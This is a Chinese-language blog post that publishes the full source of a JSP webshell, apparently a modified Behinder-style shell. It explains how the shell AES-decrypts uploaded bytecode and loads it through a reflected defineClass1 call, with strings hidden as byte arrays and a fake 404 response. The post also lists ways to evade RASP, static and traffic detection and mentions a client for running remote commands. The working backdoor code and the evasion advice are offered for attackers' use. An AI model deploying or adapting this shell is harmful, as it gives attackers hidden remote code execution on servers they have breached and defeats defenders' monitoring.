su18.jsp

太久没有写文章了,觉得有必要水一篇。

最近一直在忙着开发公司项目,对于最新的安全漏洞以及RASP技术的研究暂时没有跟的特别紧,所以也就没什么好分享的,不过也在抽空修修改改的写点小东西,先发一个webshell。

一、代码

su18.jsp

<%
    final String s = request.getQueryString();
    final String e = new String(new byte[]{115, 101, 97, 114, 99, 104, 61, 116, 101, 120, 116});
    final String k = new String(new byte[]{65, 69, 83});
    final String t = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114});
    final String p = new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 49});
    if (s != null && s.contains(e)) {
        Thread d = new Thread(new Runnable() {
            public void run() {
                try {
                    javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(k);
                    c.init(2, new javax.crypto.spec.SecretKeySpec(s.replaceAll("[=|&\\d]", "").substring(0, 16).getBytes(), k));
                    byte[] b = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
                    java.lang.reflect.Method m = Class.forName(t).getDeclaredMethod(p, String.class, byte[].class,
                            int.class, int.class, java.security.ProtectionDomain.class, String.class);
                    m.setAccessible(true);
                    ((Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), null, b, 0, b.length, null, null))
                            .newInstance().equals(pageContext);
                } catch (Exception ignored) {
                }
            }
        });
        d.start();
        d.join(1000 * 5);
    }
    response.sendError(404);
%>

二、逻辑

逻辑是比较好看懂的,如果你看不明白我要干嘛,那你就可以理解为是冰蝎马的魔改版,不过这里我关注的有几个点简单说一下。

第一:本质上是一个 ClassLoader 的马,不过是反射调用了 ClassLoaderdefineClass1 方法,使用了 Thread.currentThread().getContextClassLoader() 作为实例传入,这样不用自定义类加载器,也能绕过一些对于 loadClass 等常用方法的拦截。

第二:可以看到全部的字符串采用了new String(new byte[]{115, 101,.., 116}); 的写法,虽然没什么卵用,但还是能过一些静态检测的逻辑或正则。

第三:这边获取参数使用了 request.getQueryString(),进行处理后取了前16位作为AES的密钥,因此这需要请求端做同样的事。

第四:反射调用 define1 方法,需要 setAccessible(true)

第五:创建实例、写入回显的部分与冰蝎一致,因为冰蝎重写 equals 的方法确实写起来比较短,所以就拿过来用了。

第六:在JSP中新起线程执行我们的动作,别忘了join一下等回显写入response中,我这里给了5秒的超时时间。当然了,这是基操勿六。

第七:最后一行写个response.sendError(404); 逗一逗整天怼着安全设备看的工程师。

三、思路

思路大致介绍完了,再说一下为啥要这么干。

1. 执行方式

下面这个项目里有一些不同类型的JSP Webshells,虽然我对这个大佬的分类方式有异议,不过不重要

https://github.com/threedr3am/JSP-Webshells

我们想要一个功能全的webshell,首先需要的就是将字符串变为代码的能力,在其他语言中均有 eval() 或类似的函数来实现这个功能,虽然Java版本高了之后也有,但是考虑到目标服务器的JDK版本通常不会太高,所以还是不能使用。

而 Java 中有此能力的机制也并不多。在进行了考虑和对比之后,我这里采用的是 ClassLoader 的方式。

2. 绕过检测

首先我们写了一个webshell,webshell得放在服务器上才能起作用,否则就是一串很长的字符串保存在一个文件里。因此我们的大前提就是有办法把这个文件放上去。在有这个前提的情况下,我们所需要面对的检测手段就是静态检测、流量特征检测、代码层面的动态拦截(RASP或其他手段等)。

静态检测就不说了,变变形,编编码什么的,流量特征检测也不说了,流量层面的东西很好改,换个编码加密替换个字符啥的,这两点的主动权其实一直都在攻击方这里的。

唯独是RASP这种的主动权在防守方,攻击方只能去找一些绕过防御的办法,我这里随便写一些思路。

  • 翻遍 api,找一些Java自带的或常用的一些没人用的方法,绕过几率大一点。
  • 调用就调底层方法,不调表面API。
  • 不要直接调,反射去某些类里取对象,改值,使你的调用链变幻莫测。
  • 新起线程进行操作。
  • 自己实现JNI上传执行永远是绕过防护的终极手段,参照 PHP 中的 LD_PRELOAD。
  • 等等。

3. 持久化

我不知道我不会我没干过我是网络工程师

四、客户端实现

写个这么复杂的 webshell 肯定要写个客户端去连啊,不然怎么用啊

目前实现的功能并不多,样式的也没调,就以命令执行为例做个简单演示吧。

执行命令成功

实现了可以选择使用不同函数执行功能

切换底层调用或不常用API后执行依旧正常,绕各种防御轻轻松松

五、后续

注册成 Filter/Servlet 搞内存马?读取JVM中的敏感信息?功能很好写,主要看你思路。网上不少后续的骚操作,可以参考一下,不是这篇文章的重点,略。

六、参考链接

http://p2j.cn

http://javasec.org